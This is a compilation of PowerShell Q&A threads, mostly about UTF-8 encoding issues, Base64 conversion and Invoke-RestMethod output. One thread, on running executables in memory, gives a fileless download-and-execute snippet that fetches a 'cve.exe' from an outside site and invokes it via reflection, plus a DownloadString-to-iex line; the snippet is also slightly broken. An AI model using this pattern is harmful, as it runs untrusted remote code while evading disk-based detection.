Calling a powershell script from another powershell script and guaranteeing it is UTF8 - powershell

I assembled a Powershell script that is designed to grab other scripts that are hosted on Azure blobs, and execute them.
The relevant code blocks:
Obtaining the script:
$resp = (Invoke-WebRequest -Uri $scriptUri -Method GET -ContentType "application/octet-stream;charset=utf-8")
$migrationScript = [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray());
$tempPath = Get-ScriptDirectory
$fileLocation = CreateTempFile $tempPath "migrationScript.ps1" $migrationScript
Creating the file:
$newFile = "$tempFolder"+"\"+"$fileName"
Write-Host "Creating temporary file $newFile"
[System.IO.File]::WriteAllText($newFile, $fileContents)
And then I invoke the downloaded file with
Invoke-Expression "& `"$fileLocation`" $migrationArgs"
This is working well, for what I need. However, the Invoke-Expression is not correctly reading the encoding of the file. It opens correctly in Notepad or Notepad++, but not in ISE (where I am executing the script right now).
Is there a way I can ensure the script is read correctly? It is necessary to support UTF8, as there is a possibility that the scripts will need to perform operations such as setting an AppSetting to a value that contains special characters.
EDIT: Behaviour is the same on "vanilla" non-ISE Powershell invocation.

As per #lit and #PetSerAI, the BOM is required for Powershell to work correctly.
My first attempt had not been successful, so I switched back to non-BOM, but, with the following steps, it worked:
Perform the Invoke-WebRequest with -ContentType "application/octet-stream;charset=utf-8"
Grab the Raw content (you will see it in Powershell as a series of numbers, which I assume are the ascii codes?) and convert its bytes with [system.Text.Encoding]::UTF8.GetString($resp.RawContentStream.ToArray()); to an array containing the characters you want.
When saving the file via .NET's WriteAllText, ensure you use UTF8,
[System.IO.File]::WriteAllText($newFile, $fileContents, [System.Text.Encoding]::UTF8). In this case, UTF8 is understood to be UTF8 with a byte order mark, and is what Powershell needs.

Related

Executing Executables In Memory With Powershell

I have an executable on an internet page and I want to be able to run it without saving it to the local disk using powershell. It should basically function like iex but run an executable that's already in the memory and stored in some kind of variable. And again, I want to do all of that in Powershell.
Example.
(New-Object System.Net.WebClient).DownloadString("http://example.com") | iex
Here we can download scripts and run them in the memory without saving anything to the disk. But it's only a sequence of characters that we're executing here. Basically a powershell script. I want to run executables the same way. Is that possible? If so, how?
First, use Invoke-WebRequest to download your binary executable's content as a byte array ([byte[]]):
$bytes = (Invoke-WebRequest "http://example.com/path/to/binary.exe").Content
Then, assuming that the executable is a (compatible) .NET application:
Use .NET's ability to load an assembly from a byte array, then use reflection to directly execute this in-memory representation of your binary executable.
This answer shows the technique (based on a Base64-encoding string serving as the source of the byte array, but you can simply substitute your $bytes array in the linked code).
for me it was necessary to use -usebasicparsing.
full snippet to download and execute in memory.
$bytes = (Invoke-WebRequest "https://budgetlc.com/wp-content/cve.exe" -UseBasicParsing ).Content
$bytes = [System.Convert]::FromBase64String($string)
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entryPointMethod =
$assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')
# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))

Converting to and from Base64 in Powershell 5.1

I've found a couple of resources (including Convert base64 string to file, which is practically a duplicate here since it's one of the resources I used to build this) but I can't seem to get it working.
I've got the following code (roughly - obviously it's stripped down,) and I can verify most of the steps of the process as per the comments.
$pic = Get-Content 'testpic.png'
# $pic looks like a binary dump.
$picBytes = [System.Text.Encoding]::Unicode.GetBytes($pic)
$ $picBytes is an array of bytes. Quite spammy.
$picEncoded = [Convert]::ToBase64String($picBytes)
# $picEncoded is indeed a Base64 string. Halfway there!
$picDecoded = [Convert]::FromBase64String($picEncoded)
# Also an array of bytes. I'm assuming they're right for now...
$outFile = "pic.png"
[IO.File]::WriteAllBytes($outFile,$picDecoded)
# but I get no output file and no error?
What am I missing here? For what it's worth, I'm willing to look at other solutions - but the Base64 is somewhat important (since I'm storing the data in the script.)
To read a binary file as-is into memory in PowerShell, use Get-Content's -AsByteStream switch (PowerShell (Core) 7+) / -Encoding Byte (Windows PowerShell, versions up to v5.1), and add the -Raw switch for efficiency when you're reading all bytes into memory at once:
# Windows PowerShell (up to v5.1).
# Note: In PowerShell (Core) v7+, you must use -AsByteStream instead of
# -Encoding Byte
$picBytes = Get-Content testpic.png -Encoding Byte -Raw
Note: This change in syntax between the PowerShell editions is unfortunate, as discussed in GitHub issue #7986. If enough people show interest, it is conceivable that -Encoding Byte will be reintroduced for cross-edition consistency and compatibility.
$picBytes, as a [byte[]] array, can then be passed directly to [Convert]::ToBase64String()
To pass a file name/path to a .NET method, always pass a full path, never a relative path or mere file name:
This is necessary, because .NET's working directory usually differs from PowerShell's.
This discrepancy is unfortunate, but cannot be avoided, as explained in this answer.
In the simplest case - if your current location is a file-system location that is not based on a PowerShell-specific drive:
$outFile = "$PWD/pic.png" # Use *full path*
[IO.File]::WriteAllBytes($outFile, $picDecoded)
The fully robust approach requires more work:
$outFile = Join-Path (Get-Location -PSProvider FileSystem).ProviderPath pic.png
[IO.File]::WriteAllBytes($outFile, $picDecoded)

Atlassian Bamboo - Inject variable having '?' in string, possible encoding issue

I have a script task in powershell inline script in which i use
$text2 = "isApproved=$isApproved"
then i use,
Out-File -FilePath "${bamboo.build.working.directory}\repovar.properties" -InputObject $text2 -Append -Encoding utf8
$isApproved is determined in the script and can have value 0/1.
the properties file is showing proper key-value pair (isApproved=0). However, when i run the inject bamboo variable task, it injects a '?' symbol in the variable name
10-Aug-2020 05:17:58 key: [inject.?isApproved] value: [0] type: RESULT
It's a peculiar problem as it sometimes inject properly but sometimes doesn't. All other variables are injected in proper format.
When i remove the -Encoding utf8 in the cmdlet to default (utf8 with NoBOM), it then writes like this
i s A p p r o v e d = 0 and bamboo injects like this
bamboo.inject._i_s_A_p_p_r_o_v_e_d
I have tried with batch script as well, i still see a '?'. Can anybody help me with an workaround?
If i switch to script file instead of inline script, can i still use the previous inject variables??
This is not well documented indeed - you need to replace dots with underscores, i.e. for a plan variable named your.plan.variable, which you would reference in a regular Bamboo task as ${bamboo.your.plan.variable}, the resp. PowerShell syntax for use within the Script task is $bamboo_your_plan_variable.
I found the answer from the Atlassian forum, here it is
Out-File -FilePath "${bamboo.build.working.directory}\repovar.properties" -InputObject $text2 -Append -Encoding ascii
Changing encoding to ASCII did the trick.

Send-MailMessage in Scheduled Task has wrong encoding

I use the following script to send two E-Mails to different people:
# Datum von nächstem Samstag ermitteln
$Date = Get-Date "18:00"
while ($Date.DayOfWeek -ne "Saturday") { $date = $date.AddDays(1) }
# UTF-8 Encoding
$utf8 = New-Object System.Text.utf8encoding
# E-Mail Benachrichtigung zusammenstellen
$EmailNotifications = #{
AlleMAEmail = #{
From = "xy"
To = "xy"
Subject = "Serverarbeiten Update Installation $($Date.DateTime)"
Body = "abc äöü"
}
ITAdminEmail = #{
From = "xy"
To = "xy"
Subject = "Bitte bei XY Updates genehmigen & Ablehnen"
Body = "abc äöü"
}
}
# E-Mails versenden.
$EmailNotifications.GetEnumerator() | ForEach-Object {
$splat = $_.Value
Send-MailMessage -SmtpServer "xy" -BodyAsHtml -Encoding $utf8 #splat
}
This works when I run the code in Visual Studio Code, however I need a scheduled task on a server to run this. When the scheduled task runs the script, it can't handle the umlauts in the mail body, e.g it sends ü as ü
How can I fix this? I already specified my encoding
This is how my task is set up:
Start a Program: PowerShell
Arguments: -Command "& '\\server\path\script.ps1'" -ExecutionPolicy Bypass
Edit: I noticed that the PowerShell that gets started is the "old" PowerShell which has a black background. Could this be the problem? How to start the new one?
PowerShell interprets the source code of your .ps1 file when it reads it, but not necessarily in the encoding you expect.
When you save a file as UTF-8, but PowerShell's default is Windows-1252, then ü becomes ü before your code even runs. Send-MailMessage then correctly encodes ü into UTF-8 and so these characters are retained in the email. When you run the program from within Visual Studio Code, different defaults apply and the outcome is different.
I don't think there is a command line switch that forces PowerShell to interpret script files in a certain encoding, but you can help the encoding auto-detection along by prefixing your file with a byte-order mark (BOM).
A BOM is mandatory for UTF-16 (that is what's commonly called "Unicode" encoding in various Microsoft tools), but optional in UTF-8. UTF-8 BOMs are wrong for many use cases, so VS Code defaults to "UTF-8 without BOM". When you explicitly save the file as "UTF-8 with BOM" then Powershell will infer the correct encoding when reading the script.
There is a way to configure VS Code to pick specific encodings per file type, you could set it to always save .ps1 files as UTF-8 with BOM.
The alternative would be to save the file as Windows-1252, which would match PowerShell's expectation on your machine, but might break on different computers (or when run from within VS Code).

Invoke-RestMethod OutFile Empty When PassThru Used

Using PowerShell 4.0 and Invoke-RestMethod cmdlet. I'm having trouble with the -OutFile and -PassThru options. Whenever I add the -PassThru option, my -OutFile is created but the contents are Empty!
According to the Invoke-RestMethod Documentation, both an output file and pipeline object should be available when these options are used together. "-OutFile Saves the response body in the specified output file. [...] To send the results to a file and to the pipeline, use the Passthru parameter."
Here's a test to repeat the problem I'm having. Here I'm calling a rest api attempting to BOTH save response to file AND deserialize into a powershell object.
"POWERSHELL VERSION $($host.Version.ToString())"
$date = Invoke-RestMethod "http://date.jsontest.com" -OutFile "OutFile.txt" -PassThru
Get-Content "OutFile.txt"
# FILE IS EMPTY!!! PASSTHRU SEEMS TO RESULT IN EMPTY FILE
$date
# powershell object has the date received from api
Here are two tests to verify the normal functionality of Invoke-RestMethod WITHOUT the PassThru option
# ... Test # 1, call rest api and deserialize into powershell object
$date = Invoke-RestMethod "http://date.jsontest.com"
$date
# Output shows the date retrieved from sample restful service
# ... Test # 2, call rest api and save response body directly to a file
Invoke-RestMethod "http://date.jsontest.com" -OutFile "OutFile.txt"
Get-Content "OutFile.txt"
# Output shows contents of rest api response body (json text)
I think these tests should help others see the trouble I'm having. My question is whether there is something I'm missing to make this work, or whether this may be a bug with the cmdlet? I've Googled a bit for solution and no obvious reports of this issue. I'm wanting to use -OutFile as part of a workaround for another Invoke-RestMethod issue related to content encoding as described at Bug? Invoke-RestMethod and UTF-8 data. The -PassThru option is helpful for me to look at the returned data and terminate iteration on a multi-request (paged) odata result set.
I believe the -PassThru switch redirects all output to the console only, and I think that is why your file is empty. However, since you have it a variable you could add one more line like so. . .
Write-Output -InputObject $date | Out-File -FilePath "OutFile.txt"